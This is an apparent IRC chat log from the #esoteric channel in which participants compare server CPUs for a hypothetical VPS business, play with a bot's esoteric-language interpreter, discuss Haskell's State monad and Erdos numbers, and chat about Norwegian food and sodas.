quarter to hardware 01:05:43 hmm 01:05:49 I don't seem to remember colo being awfully expensive 01:06:15 anyway, $625 in profit is still quite nice for such a small userbase 01:07:29 so start your business 01:07:31 night (not IRCing from bed tonight 01:07:32 ) 01:07:40 bsmntbombdood: I'm considering it :-) 01:08:00 can a 13 year old even legally start a business 01:08:05 i sort of doubt it 01:13:09 Hey, I thought of another advantage of jails. 01:13:25 Since it doesn't have to do virtualization, the tax on the server is less = cheaper to run 01:13:53 -!- Gracenotes has joined. 01:14:18 AnMaster: balanced ternary, of course, otherwise you'd get an imbalance of positive charge 01:14:43 oh he left 01:15:00 oerjan: think I should start a VPS hosting business? 01:15:50 "The game cannot continue: Please change your display settings to be 'High Color (16 bit)'" 01:17:40 erm 01:18:39 i don't have the foggiest clue 01:19:04 well apart from the possible 13 year old problems 01:25:49 ehird: The trick is getting a few hundred users in the first place. ;) 01:26:07 Once you hit the break-even point, you're good. 01:26:20 Mm. 01:26:54 http://static.cbslocal.com/station/wcbs/img/flyover.jpg looks very CGIish 01:26:59 pikhq: My first plan would be getting people I know on and having them do a bit of evangelizing ;-) 01:27:58 -!- puzzlet has quit (Remote closed the connection). 01:28:09 -!- puzzlet has joined. 01:30:01 pikhq: Hmm... I'm trying to decide between Quad-Core 3.2GHz Intel Nehalems, Quad-Core 2.7GHz AMD Opterons and 6-Core 2.4GHz Dunningtons for the hypothetical server... 01:30:26 The 6-core not being the most computationally powerful processor (it's last-generation, I beleive) and also being the most expensive, but I get 12 cores total then. 01:30:38 The Nehalem being the best computational-wise, but I could only have two of them due to Intel being silly. 01:30:58 !slashes /a\\a/a\\aa\\a/a\a 01:30:58 The Opteron not being the best computational-wise too, but it's cheap and I can have four of them. 01:31:06 !help 01:31:06 Supported commands: addinterp bf_txtgen daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh slashes test trigger udage01 underload unlambda whirl yodawg 01:31:24 You want cheap. 01:31:30 The cores: Nehalem - 8 (16 threads), Opteron - 16, Dunnington - 16 01:31:33 pikhq: True enough. 01:31:35 !slashes a\a 01:31:35 aa 01:31:41 You want to be able to crap out a hundred of these without too much effort if you *really* need to. ;) 01:31:59 !slashes /a\\a/a\\aa\\a/a\\a 01:31:59 aa 01:32:01 pikhq: OTOH, the range is $1,699 (nehalem) to $1,825 (opteron) to $2,399 (dunnington) 01:32:10 pikhq: The dunnington is probably not the best option. 01:32:26 Opteron or Nehalem. 01:32:26 !slashes /a\\a/b/a\a 01:32:26 b 01:32:32 Nehalem would give better performance and is cheaper; but the Opteron lets me have more cores, which is always a good thing when you have a lot of users. 01:32:54 Actually, in this case Opteron would be better performance. 01:32:57 And also, saying "With the latest Intel Nehalem(TM) technology" is more catchy than "Using a regular AMD server CPU" 01:33:03 pikhq: Hmm... 01:33:05 The Opteron does NUMA. 01:33:06 Better parallelism? 01:33:07 Ah. 01:33:15 Opteron it is. 01:33:31 Now how many would I want in one server... 01:33:31 hmm 01:33:40 !slashes /a\\a/xx//x/a\\a/a\a 01:33:40 aaaa 01:33:44 With a 4-processor mobo, I wonder if there'd be any issues using 3? 01:33:55 AMD's not the best when it comes to consumer gear. Their architecture scales like crazy, though. 01:34:03 I honestly don't know. 01:34:14 That would seem to be the right balance between parallelism and "I Can Shit These Out Of My Butt If I Need To" 01:34:18 hmm 01:34:38 !slashes /*/\/a\\\\a\/xx\/\/x\/a\\\\a\//**a\a 01:34:38 aaaa 01:35:06 ¡This cheese is burning me! 01:35:14 !slashes /*/\/a\\\\a\/xx\/\/x\/a\\\\a\//***a\a 01:35:14 aaaa 01:35:24 Oh, Nehalem supports NUMA now. 01:35:28 -!- coppro has joined. 01:35:33 pikhq: Nehalem can give me 16 cores for $3398 whereas Opteron can give me 12 cores for $5475 01:35:34 !slashes /*/ffff/***a\a 01:35:34 ffffffffffffaa 01:35:37 Leaning to Nehalem now 01:35:39 It's the first Intel x86 chip that does. 01:35:46 err 01:35:49 Nehalem can give me 16 THREADS 01:35:49 rather 01:36:00 which is probably more important than cores for VPSes; they can't max them out 01:36:04 Hyperthreading is a hack to get around poor pipelining. 01:36:14 That's true, but it works, doesn't it. 01:36:30 Somewhat. 01:37:05 pikhq: Also, I'm not sure what the effects of having three Opterons in a 4-CPU mobo would be. 01:37:46 I think I'll go Nehalem. It's cheaper, after all. 01:37:58 !slashes /a\\a/xx//x/a\\a//a\\a/xx//x/a\\a//a\\a/xx//x/a\\a/a\a 01:37:59 aaaa 01:39:28 Oh, *damn*... Apparently, hyperthreading tends to increase cache thrashing by about 50%... 01:39:40 Holy shit. 01:39:44 Won't be doing that then. 01:39:50 Esp. since the Nehalem's L2 is puny. 01:40:03 !slashes /a\\a/xx//x/a\\a//\//|//a\\a/xx//x/a\\a//a\\a/xx//x/a\\a/a\a 01:40:04 |aa|aaaa||aa|aa||aa|aaaa||aa|aa|aaaa 01:40:06 And it tends to screw with scheduling. 01:40:17 pikhq: Still, $7300 for four Opterons is pretty costly. 01:40:32 You don't need to have four of the damned things. 01:40:36 True. 01:40:46 But I'll probably want more than 8 cores. 01:41:01 pikhq: remember, the jails are running instructions direct on the processor 01:41:02 *facepalm* 01:41:18 The solution is to wait for Intel to start making the 8-core chips. 01:41:33 possibly. 01:41:47 pikhq: ya think using 3 Opterons in a 4-slot mobo would work? 01:42:01 It sounds like the kind of thing that should work but will fry your computer ;-) 01:42:15 * pikhq checketh 01:42:20 * pikhq also checketh down 01:42:27 !slashes /*/\/a\\\\a\/x\\x\/\/x\\x\/a\\\\aa\\\\a\//***a\a 01:42:27 aaaaaaaaaaaaaaaa 01:42:36 pikhq: Checketh down? 01:42:46 !slashes /*/\/a\\\\a\/x\\x\/\/x\\x\/a\\\\aa\\\\a\//**********a\a 01:42:46 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 01:42:47 3 opterons would give me 12 cores, which should be very much adequate 01:43:29 what are you speccing now? 01:43:53 bsmntbombdood: hypothetical server for VPSery. 01:44:14 In other words, something practical. 01:44:20 Yes. 01:44:33 Practical, but performing, with an emphasis on parallelism over raw throughput. 01:44:49 Talk to IBM about a mainframe. :p 01:44:59 pikhq: Hm, er... do the Opterons support DDR3? 01:45:03 I'm not getting that vibe 01:45:55 "Next-gen Opteron/DDR3 in 2009 - News and Siteseeing" 01:45:58 Answer: no. 01:46:05 pikhq: Back to Nehalem, I suppose. 01:47:20 * pikhq finds it increasingly tempting to upgrade his personal system... 01:47:44 1 core -> 4 cores. 1 GB -> 4 GB or more. Um. Yeah... 01:47:59 how about 12 gb? 01:48:08 bsmntbombdood: Student budget. 01:48:09 -!- Judofyr has quit (Remote closed the connection). 01:48:18 We're talking about $200. 01:48:44 And I need a new motherboard in there. 01:48:54 (just *had* to skimp on my last one, didn't I?) 01:49:13 a new proc, motherboard and ram for $200? 01:49:27 Yeah. 01:49:39 Low-end, obviously. 01:51:46 Keep in mind that I've been dealing with an old single-core processor... This will still seem like a major upgrade to me. 01:54:28 -!- puzzlet_ has joined. 01:55:20 -!- puzzlet has quit (Remote closed the connection). 01:57:43 http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html :D 01:58:28 I... *Just* found that link from somewhere else. 01:58:38 probably 01:58:38 I was literally about to paste it. 01:58:50 BWAHAHAHA 01:58:51 DAMN YOU OERJAN!!! :p 01:59:38 (this link pasted for the 5% of #esoteric members not following reddit) 02:00:01 or something 02:00:56 Not from reddit. 02:01:00 Different blog. 02:01:02 ah 02:01:03 * pikhq should follow reddit, though. 02:01:41 * pikhq loves the description of Haskell 02:02:01 * oerjan hasn't got to that yet 02:02:25 i stopped at the prolog description to paste 02:05:21 also, perl 02:08:03 That part is not a joke. 02:08:07 It is truth. 02:08:15 (true but false) anyone? 02:08:44 "Later still, in an effort to cash in on the popularity of skin diseases the language is renamed ECMAScript. 02:09:11 what skin disease is that, anyhow? 02:09:58 It sounds vaguely like eczema. 02:10:38 And sounds a lot like some sort of skin disease. 02:10:43 (unspecified) 02:10:56 gar newegg hasn't given me a tracking number yet 02:12:59 they are far too easy on java 02:14:30 Nah. They are far, far too easy on C#. 02:27:05 http://www.reddit.com/r/programming/comments/8itq7/a_brief_incomplete_and_mostly_wrong_history_of/c09f5ur 02:27:35 http://www.huffingtonpost.com/2009/05/08/obama-mustard-attack-beco_n_199953.html 02:27:51 Republicans accuse Obama of elitism because he orders spicy mustard on his burger. 02:27:55 I freaking hate humanity. 02:34:35 i heard that 02:43:46 heh. I'm watching the Daily Show episode on that at the moment... 02:45:37 for my once-weekly-entertainment-spree >_> 02:55:00 Eh, you're forgiven. The Daily Show is worth watching. 03:07:13 -!- psygnisfive has joined. 03:16:10 Well, I think I've outlived the humor of this /nick. 03:16:13 -!- TravelGreaseGod has changed nick to GregorR. 03:16:48 * pikhq bows before the former diety of traveled grease 03:18:40 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 03:19:24 -!- bsmntbombdood has joined. 03:20:32 Hwaet! 03:20:50 Whoot, I'm on OOPSLA. 03:21:06 oopsla? 03:21:12 how can you be /on/ oopsla? 03:21:26 Sneaky 'o' key, pushing its way in on the 'i' key's territory. 03:22:06 what I don't like about haskell is exceptions :< 03:22:18 though I love the type 03:22:23 throw :: (Exception e) => e -> a 03:22:33 What I don't like about haskell is that I don't know enough math to understand monads. :p 03:23:25 What I don't like about C is that I don't know enough math to understand pointer arithmetic...... oh wait... 03:23:33 Hahaha 03:23:40 Gracenotes: You may want to revisit the third grade :P 03:24:19 heh. for pointers, it's mainly the syntax that gets you at first 03:25:07 easy peasy once you're comfortable. same with monads, and uncountable other language features 03:25:20 ... or should I say countably infinite? :o 03:25:31 Uncountably finite? 03:25:32 i don't understand not understanding p ointers 03:25:44 I don't understand not understanding pointers 03:25:47 I do understand not understanding monads 03:25:49 the syntax mainly 03:25:52 I don't understand not understanding not understanding pointers. 03:25:55 i don't understand not understanding monads 03:25:56 this is because I understand the former, and not the latter 03:25:59 lvalues vs. rvalues 03:26:09 other things that are not intuitive whatsoever at first 03:26:12 BWAHAHAHA *CACKLE* *COUGH* 03:26:17 bsmntbombdood: It's one of those things that you wrap your head around and then it makes perfect, perfect sense. 03:26:35 oerjan: You've got an Erdos number smaller than mine; shaddup. 03:26:41 now monads, like typeclasses in general, are abstract. They're like uber design patterns 03:26:48 gregorr: how can you be IN oopsla 03:26:55 well, that's not true. I understand monads, in the sense of how to use the list and maybe monads, declare a new monad (+google), whatever 03:26:58 just use specific cases of them. you'' be fine 03:27:02 but I don't have an "intuitive" grasp of monads yet 03:27:08 psygnisfive: "published" in 03:27:16 list and maybe are a good start. Try State now :) 03:27:21 oh i see. i didnt realize oopsla was a publication 03:27:33 State is a pretty big hurdle but getting past it is significant 03:27:41 in... understanding. 03:27:42 stuff. 03:28:01 and then I have to figure out monoids 03:28:02 :< 03:28:10 GregorR: Oh, you have an Erdos number now? :p 03:28:13 and why do I want to learn a state monad in Haskell 03:28:20 pikhq: Probably a very high one :P 03:29:35 Oh, you're at a conference. 03:29:49 OOPSLA is a conference, not a journal. XD 03:29:59 GregorR: Well, then, your Erdos number is 7. 03:30:00 it is essentially a monad wrapping around an action, not a data structure. It shows even more so how they chain actions. and you basically get understanding Reader and Writer for free 03:30:10 Making its way through two other members of this chat room. 03:30:12 :p 03:30:24 ? 03:30:30 How does that establish it as 7? 03:30:45 Assuming you count working on a program together, sorry. 03:31:21 I have an Erdos number of .. undefined 03:31:22 Oerjan has an Erdos number of 5, he and I collaborated for PEBBLE, giving me an Erdos of 6. You and I collaborated for PEBBLE, giving you an Erdos number of 7. :p 03:31:34 no papers whatsoever. undergrad! *cringes* 03:31:59 I submit homework for you TAs to grade! *mwahahaha* 03:32:09 huh? 03:32:13 Gracenotes: I'm an undergrad myself. 03:32:16 pikhq: 4, thank you very much 03:32:24 why would working on a program together count? 03:32:26 oerjan: My apologies. 03:32:28 oh, nice :D when did you publish your first paper? 03:32:37 * oerjan had to check again 03:32:52 Have yet to. I said "assuming you count working on a program together". ;) 03:33:00 4 is not bad. 03:33:23 bsmntbombdood: "Published work". 03:33:37 itym "paper" 03:33:47 SWEET 03:33:48 So far, Free Realms is leaving a bad taste in my mouth 03:33:49 I'm 4 8-D 03:33:56 Some work published work of research. 03:34:03 GregorR: Oh? 03:34:22 bsmntbombdood: The question is, does PEBBLE count as a research project? :p 03:34:32 Me -> Jan Vitek -> Nir Shavit -> Michael E. Saks -> Erdos 03:34:49 Huh. 03:35:21 NOOOOOOOOOOOOO 03:35:24 Well, then. If PEBBLE doesn't count as a research project, does Plof? 03:35:41 pikhq: Only whenif I publish anything about it :P 03:35:45 I mean, it's a tiny bit unique as far as programming languages go. 03:35:56 * oerjan feels his #esoteric 1337-ness slipping 03:36:17 GregorR: Plof itself might count as a published work. 03:37:09 pikhq: ... sorry, when did you publish a paper? O-o 03:37:19 Gracenotes: that's what i said 03:37:29 Gracenotes: I have yet to, as I said previously. 03:37:37 It really only counts if it's a research paper :P 03:37:45 GregorR: Yeah, shaddup. 03:37:56 pikhq: ah, okay. Doing any research, by chance? 03:38:06 * Gracenotes hopes to get involved with that >_> 03:38:08 Not yet. 03:38:09 He's an undergrad :P 03:38:13 Inevitably will be. 03:38:19 * pikhq plans to do grad school 03:38:33 Go Purdue whooooooooo 03:38:36 okay. just wondrin. People going to research universities can get started somewhat early-ish, I've heard 03:38:50 Though my university does allow for undergrad research. 03:44:04 execState (tick >>= (\x -> tick >>= (\y -> return y))) 5 03:44:11 h m m 03:46:51 execState (tick >>= (\x -> return 42)) 8 03:46:54 returns 9 still 03:47:00 wat 03:47:29 what's the definition of tick? 03:47:35 tick = tock 03:47:35 oh right 03:47:46 from the example 03:47:47 comex: try runState 03:47:47 tick :: State Int Int 03:47:47 tick = do n <- get 03:47:47 put (n+1) 03:47:49 return n 03:47:59 oerjan: what's the difference 03:48:04 execState only returns the final state 03:48:11 evalState only the final result 03:48:17 runState returns both in a tuple 03:48:21 iirc 03:48:41 quite 03:49:16 and the way this works with lazy state is pretty interesting too :) 03:52:49 *Main> execState (tick >>= (\x -> tock >>= (\y -> return y))) 5 03:52:58 where tock is multiply by two 03:53:05 performs tick FIRST 03:53:08 wtf 03:53:19 of course 03:53:40 that's as designed 03:53:46 well, I guess it makes more sense in do notation that way... 03:54:22 i think i actually saw someone make a ReversedState monad 03:54:31 which does the opposite 03:54:55 it probably needs one to be careful with deadlocks, though 03:55:20 since you would then have information passing both ways 03:55:42 which both ways? 03:55:59 the \x and \y are always passed to the right 03:56:12 as you can tell just by scope 03:56:31 but that monad somehow managed to make state change backwards 03:57:44 I still don't see why not run the inner function first 03:57:49 but I don't get states either so :p 03:58:16 monads differ in whether they mostly run the left or right part of >>= first 03:58:27 as in, I don't see where you would use a state instead of a function (a, b) -> (a, b) 04:00:04 comex: here's something that might help show you why it must be like that 04:00:05 mainly because every example I've seen is of the form 04:00:12 do foo <- get 04:00:13 put bar 04:00:15 return qux 04:00:36 define tack n = do m <- get; put (m+n); return m 04:00:55 but why not replace it with f foo = (bar, qux) 04:00:57 (just to keep that tradition ;) ) 04:01:14 oh i'm still on a previous question 04:01:33 well, yeah 04:01:38 with do notation it looks all nice and forwards 04:01:52 comex: indeed f foo = (bar, qux) is essentially what it is inside 04:02:52 now try execState (tick >>= (\x -> tack x >>= (\y -> return y))) 5 04:03:02 well, I have yet to see an example that doesn't have exactly those two lines 04:03:03 :< 04:03:25 you then see that tack x cannot possibly run before you know what x is 04:03:44 (well, ignoring laziness, which might allow it anyhow) 04:03:54 which means it must run after the tick 04:05:11 comex: as for why not replace it with f foo = (bar, qux) 04:05:14 ah, that makes sense 04:05:19 you're not getting a meaningful return value 04:05:22 but you are getting a meaningful parameter 04:05:46 well if you do that you could not use all the nice monad combinators that work on _all_ monads for it 04:06:31 for example, with import Control.Monad you can do: 04:07:10 runState (replicateM 5 tick) 10 04:07:47 http://haskell.org/ghc/docs/latest/html/libraries/base/src/Control-Monad.html#sequence 04:07:51 :< 04:08:10 -!- bsmntbombdood has quit (Success). 04:08:18 yeah replicateM is just ordinary replicate + sequence 04:08:50 -!- bsmntbombdood has joined. 04:09:11 try runState (sequence [tick, tock, tick, tock]) 5 04:10:15 actually you can even try: 04:10:48 evalState (sequence (cycle [tick, tock])) 5 04:10:51 (i think) 04:11:20 sucks! 04:11:29 hm? 04:11:51 er maybe i should have warned you about infinite output :D 04:11:59 bah 04:12:05 all the cool kids are learning haskell 04:12:32 * GregorR wishes there was more Haskell at Purdue. 04:12:39 I didn't actually run it :p 04:12:51 ok, now I did 04:12:59 take 20 $ evalState (sequence (cycle [tick, tock])) 5 04:13:07 if you want to abbreviate a bit 04:13:09 ...Free Realms sent me 11 emails saying that my name has been approved 04:13:26 Sgeo: Well, they reaaaaaaaaaaaaally approve of it. 04:13:47 Make that 12 04:13:50 I want a picture :( 04:13:51 comex: ok if you hadn't run it then what was it that sucked? :D 04:13:55 but I'm going to bed, maybe I'll run it tomorrow 04:14:01 oerjan: well, I knew it was going to do something infinite! 04:14:10 They're sending an email every 1-2 minutes 04:14:16 s/run/understand 04:14:25 maybe I'll understand it tomorrow :) 04:14:29 Wait, no, there's a 13 minute gap 04:14:40 comex: well this is a gradual process 04:15:01 comex, of the emails? 04:16:15 Sgeo: did you ask to be approved? 04:16:50 oerjan, since I used a custom name, it had to be approved before it could be used 04:29:45 So, I'm wondering if the American stereotype of a Swedish accent has anything to do with reality. 04:30:01 As far as I can tell, there's no similarity whatsoever. 04:30:42 It's not even just taken to the extreme or something, it just has nothing to do with anything. 04:32:50 The American stereotype of a Swedish accent has more to do with the Muppets than anything else. 04:33:00 :) 04:34:32 börk börk börk 04:34:41 i'd hit bjork 04:37:41 oerjan: Ah; wasn't aware that anyone overseas would've seen that. 04:37:43 :) 04:38:28 the muppet show was shown in norway already when we had a single state channel 04:38:52 which means that pretty much _everyone_ of that age has seen it 04:39:21 Ah. 04:39:29 mind you that was a while ago and i may not remember that much of it 04:39:43 So, that's a piece of Americana that's about as well-known in Norway. Got it. 04:41:58 So what's the reverse? 04:42:07 What piece of Norweigicana is known in the US? 04:42:16 ... 04:42:17 Hmm. 04:42:31 the nobel price and, well, that's about it 04:42:42 Beowulf. 04:42:54 beowulf is not particularly norwegian 04:43:02 (not necessarily Norwegian. Close?) 04:43:10 but then, i don't know beowulf 04:43:24 * pikhq wikipedes 04:43:32 ok i vaguely recall it's mostly set in denmark and sweden or something 04:43:41 and that it's in old english 04:44:01 Scandinavian, at least. 04:44:17 henrik ibsen, i hope 04:44:48 might be too class-dependent... 04:45:12 "The Scream" 04:45:34 i'm sure there must be _something_ from after the 19th century 04:45:48 Hmm. 04:45:55 Start naming things. 04:45:55 :p 04:46:12 the A-HA band 04:46:26 No. 04:46:41 this may be complicated by the fact that for ten years or so, _i_ haven't got much of a clue what's hot in norway :D 04:46:55 (maybe make that 15) 04:47:01 :D 04:47:23 * GregorR 's Americanness seeps into Europe 04:47:28 Age of Conan MMORPG 04:47:47 Henrik Ibsen isn't well-known amongst the general populace, but decently known amongst literature buffs. 04:47:51 (i don't play MMORPGs, but i know that's made in norway) 04:48:06 Age of Conan MMORPG is known *of*... 04:48:17 Not the most popular MMO, but it has a niche. 04:48:43 "The Scream" is something people don't realise they know. :p 04:49:38 Jarlsberg cheese :D 04:49:49 it's our main diary export i think 04:49:51 Didn't know that was a kind of cheese. 04:49:55 *dairy 04:50:09 We're Americans - we don't know things from other continents. :p 04:50:11 well i saw it when i was in the us 04:50:17 iirc 04:50:35 Doesn't mean I know what it is. XD 04:50:48 lutefisk 04:51:30 (if it's known, then it's probably as something to scare children with :D) 04:51:38 (mind you i love it) 04:51:39 Never had it, which is kinda surprising considering the amount of family I have in Minnesota. 04:52:01 (Minnesota was settled by Norwegian immigrants) 04:52:12 i know, vaguely 04:52:29 And it's something to scare children with, definitely. 04:52:36 (good God, it's *caustic*!) 04:52:51 possibly whale meat, although we try not to remind you of it :D 04:53:05 That'd be illegal. 04:53:31 Except for those common Norwegian-Amerindians :P 04:53:44 I think Norwegian cuisine is the most likely to be known in the US... 04:53:57 Except for the few fans of Norwegian metal, I guess? :p 04:54:08 brown cheese just to complete the stereotypically bad norwegian cuisine 04:54:11 * GregorR wonders what Norwegian cuisine is :P 04:54:26 GregorR: Visit Minnesota. You'll know. 04:54:31 (strangely enough norway has had several internationally award-winning chefs) 04:54:32 I don't like cheese :P 04:54:45 Or fish, just to cover both of those bases. 04:54:50 but i doubt they're cuisine is very traditional 04:54:53 *their 04:55:00 That covers a good chunk of Norwegian cuisine. 04:55:05 indeed 04:55:10 * pikhq shoves sushi down GregorR's throat 04:55:21 it doesn't cover fårikål though 04:55:32 which was once voted the national dish 04:55:38 (sheep in cabbage) 04:55:52 (with whole peppers) 04:56:23 Actually sounds rather tasty, if a bit simple. 04:56:34 (that would be the relatively small black kind of pepper) 04:56:48 Ah, yeah... I was about to say. 04:56:55 pikhq: I like those sushi things that don't contain fish. 04:57:04 Kinda surprising to see capsicum in Norway. 04:57:15 GregorR: Mmm... Fair enough. 04:57:20 um is that what it is? 04:57:39 Capsicum is the genus of chili peppers. 04:57:42 Fårikål is a traditional Norwegian dish, consisting of pieces of mutton with bone, cabbage, whole black pepper and a little wheat flour, cooked for several hours in a casserole, traditionally served with potatoes boiled in their jackets. 04:57:44 This sounds good. 04:57:51 well that is not what you use in fårikål 04:57:57 I know. 04:58:06 it's a very seasonal dish, btw 04:58:09 Now to find one of those popular on-every-corner Norwegian restaurants. 04:58:12 autumn 04:58:22 Americans have no conception of seasonality. 04:58:26 :P 04:58:43 how unseasonable 04:59:12 Mother Nature is America's bitch. :p 04:59:19 Pretty much. 04:59:44 I would make a joke about eating an extremely-out-of-season fruit, but I literally have no conception of what fruits are in season at what time. 05:00:05 A hint: they're out of season in the winter. 05:00:18 ;) 05:00:25 There are fruits that are in season in the winter! Just not many. 05:00:27 GregorR, same her 05:00:29 here 05:00:34 it depends what you mean 05:00:49 for example few norwegians eat figs and dates other than christmas 05:01:20 of course those are generaly dried 05:01:20 Hmm. Apparently pears and tangerines are in season during the winter. 05:01:27 *lly 05:01:38 (Wikipedia FTW) 05:01:48 Free Realms is still spamming me 05:02:01 Sgeo: Hahahahaha 05:02:11 maybe google to see if it's a known problem? 05:02:12 Although there was a 45 minute gap between the latest junk 05:03:05 Sgeo: Years from now, you'll be receiving it still, but so rarely that you always forget about it until you get another one. 05:03:58 If it sends an email every time a separate mod approves it, then it might pick up tomorrow, or keep going for weeks, until it runs dry 05:08:44 * pikhq observes that American cuisine is very, very freaking odd... 05:09:09 pikhq: American cuisine: Take something simple, put cheese on it. 05:09:27 GregorR: That covers some things. 05:09:35 *cough* Cheeseburgers. 05:10:01 GregorR, I'm eating Pasta and cheese tonight... just like most nights 05:10:32 Doesn't cover how somehow Italian, Mexican, and Chinese foods have somehow morphed into being a major part of our national cuisine... 05:10:44 pikhq: 'struth. 05:11:11 Or, for that matter, British or Native American foods. 05:11:22 (or freaking adoration of corn. :p) 05:11:27 s/or/our/ 05:11:51 British "cuisine" is not dissimilar to American "cuisine" 05:12:06 Less focus on cheese, more focus on flavorless and fattening. 05:12:29 I thought that American cuisine had cornered the market on fattening. 05:12:52 The Brits may have such things as frying bread in bacon grease, but we, *we* have fast-food. 05:13:23 One day in an English pub I had eggs not-actually-over-hard-but-we'll-forgive-them-they're-British, baked beans, the liver of a whiskey-fed-chicken, mushrooms and fried tomato. 05:14:55 Also, not all British cuisine these days is flavorless; remember, curry has become a national dish for them. ;) 05:15:22 The McDonalds' there have curry for fries (chips) 05:17:42 -!- puzzlet_ has quit (Remote closed the connection). 05:17:48 -!- puzzlet has joined. 05:18:44 Also, they have tea. Any other culinary sins they make are forgiven by that alone. 05:19:03 * pikhq is fond of tea, in case you couldn't tell 05:19:16 Bleh 05:19:55 Do I sense someone who has been mistreated by American tea 'sensibilities'? 05:20:31 I don't like tea. 05:20:42 I'm hyposmic, so it tastes like bitter water to me. 05:20:50 (Along with coffee, beer) 05:21:50 * pikhq notes that bad tea, coffee, and beer *is* bitter water. 05:22:17 My insane tea friends took me about seven or eight times to this deluxe absurdly-expensive tea place. 05:22:19 But with hyposmia, good tea, coffee, and beer might be a bit lost on you. :/ 05:22:26 hyposmic? 05:22:38 Reduced sense of smell. 05:22:57 GregorR: So, nothing with subtle flavors for you. 05:23:04 Yuh 05:23:22 Or at least, no subtle flavors if there's also a significant bitter flavor to overwhelm :P 05:23:23 I hope you're at least fond of spicy foods. :p 05:23:28 Is it possible to have hyposmia and not know it? 05:23:30 I wurve spicy foods. 05:23:43 Good man. 05:23:46 Sgeo: Hyposmia is a symptom, not a disease. 05:23:59 Sgeo: Which is to say, if you think you're hyposmic, you're hyposmic :P 05:24:16 Sgeo: But if you've never cooked a rotten chicken only for your roommate to come home and go "holy shit WTF is that smell", you're probably not. 05:24:18 Or maybe I'm just bad with tastes. I notice other smells just fine 05:24:28 * pikhq likes his food with either subtle flavors or incredibly strong flavors 05:24:40 Mmm, salt and vinegar chips... 05:24:44 (or at least, what I think is just fine) 05:24:45 GregorR: Damn. 05:24:48 Just damn. 05:26:10 pikhq: I don't like inviting friends over, because the experience often exposes odors I was not aware of ... 05:26:45 Meanwhile I, if anything, exhibit hyperosmia. 05:26:46 -!- puzzlet has quit (Remote closed the connection). 05:26:54 -!- puzzlet has joined. 05:27:21 ("fun" when combined with autism) 05:32:09 Or maybe I'm just bad with tastes. I notice other smells just fine 05:32:13 Also, I'm not bad with tastes :P 05:32:30 The subset of food which really /requires/ smell (a subset I am uniquely qualified to identify) is quite small. 05:32:37 (Not true for drinks) 05:33:06 I'd imagine soda would be just fine. 05:33:08 Beyond that, well... 05:33:22 But how would you distinguish between different sodas? 05:33:22 Yeah, I drink soda. I wurve the bubblitude :P 05:33:28 Sgeo: .......... srsly? 05:33:46 Sgeo: I can tell the difference between all sodas, and have a distinct (and distinctive!) favorite. 05:34:04 Sgeo: Soda flavor is anything but subtle. 05:34:07 I thought taste only existed for very general things ("sweet" etc) 05:34:24 Scent gives extra detail on flavors. 05:34:24 And beyond that is smell, or maybe I'm just very confused and tired right now 05:34:37 Try tasting stuff with your nose plugged. 05:35:19 GregorR: Your favorite being? 05:35:23 Based on descriptions I've heard from people who've tried that, I think I've got a one-sense-weak-makes-the-other-stronger thing going on :P 05:35:25 Moxie! 05:35:31 It's distinctively different! (And better) 05:35:33 ... Moxie? 05:35:39 Never had it. 05:35:44 Of course not, you're not a Mainer :P 05:35:48 Or heard of it. 05:35:51 Of course not, you're not a Mainer :P 05:36:01 It's the oldest continually produced soda in the US. 05:36:30 Huh. 05:37:17 * pikhq is rather fond of Dr. Pepper & Mountain Dew... 05:37:35 Surely you've heard the English term "moxie", though? 05:37:40 And also a *good* ginger ale. (most of it isn't) 05:37:44 Yeah. 05:37:52 That term comes from the soda, not vice-versa. 05:37:57 Wow. 05:42:07 http://en.wikipedia.org/wiki/Moxie , btw 05:42:47 I looked it up. 05:42:54 And kinda want to try it. 05:43:11 If for no other reason then that a soda I haven't tried is just wrong. :p 05:43:13 Unless you know somebody who imports it locally (e.g. me :P ), it's too expensive to try. 05:43:33 Next time I'm in New England. 05:43:39 (with any luck, next summer) 05:43:43 It's difficult to find outside of Maine proper. 05:44:16 There's a lot of stuff that's hard to find in Boston. :p 05:45:18 Hey, sure enough. The Star Market in Cambridge has it. 05:45:26 Easy enoguh. 05:46:00 As does the one in Newton, and that odd grocery store in Somerville... 05:46:09 Well, then. 05:46:17 There are a few places here and there you can find it. That's noreast enough that I'm not sure whether you'd be getting authentic Moxie (look for orange) or the just-as-good-if-not-better Real Soda brand Moxie. 05:46:47 Doubt I'll find it here in Missouri, though. 05:46:59 Prooooooooobably not :P 05:47:07 Actually easier to find in Oregon I'd bet :P 05:47:12 ... But there's a shop in Montana that sells it. WTF? 05:47:31 ... Ah. Missoula. The only town in that hellhole worth living in. 05:47:32 It probably all comes down to "somebody from Maine moved there and opened a store" ;) 05:47:38 Odd coincidence, that. 05:47:46 Missoula is a college town. 05:47:54 So, probably. 05:50:09 Jeeze; $24 for 24 cans. 05:50:19 Yeah, just a little pricy. 05:50:25 Eh, you can get a better deal than that (before shipping) 05:50:37 Still. 05:51:00 I think it's a bit cheaper to be fond of Dr. Pepper without HFCS. 05:51:16 Yeah, my Moxie lust is expensive :P 05:51:19 (at least that I could reasonably drive down and load my car up with) 05:51:43 Dr. Pepper without corn syrup is a bit difficult to find... 05:52:08 There's one distributor that makes it. 05:52:20 I can find it easily, but only one bottle at a time and overpriced :P 05:52:53 * pikhq got addicted for that short time it was available nation-wide... 05:52:59 * Sgeo joins Reddit 05:53:31 Now, the only way to get it sanely is to go down to Texas and clean out a store. :p 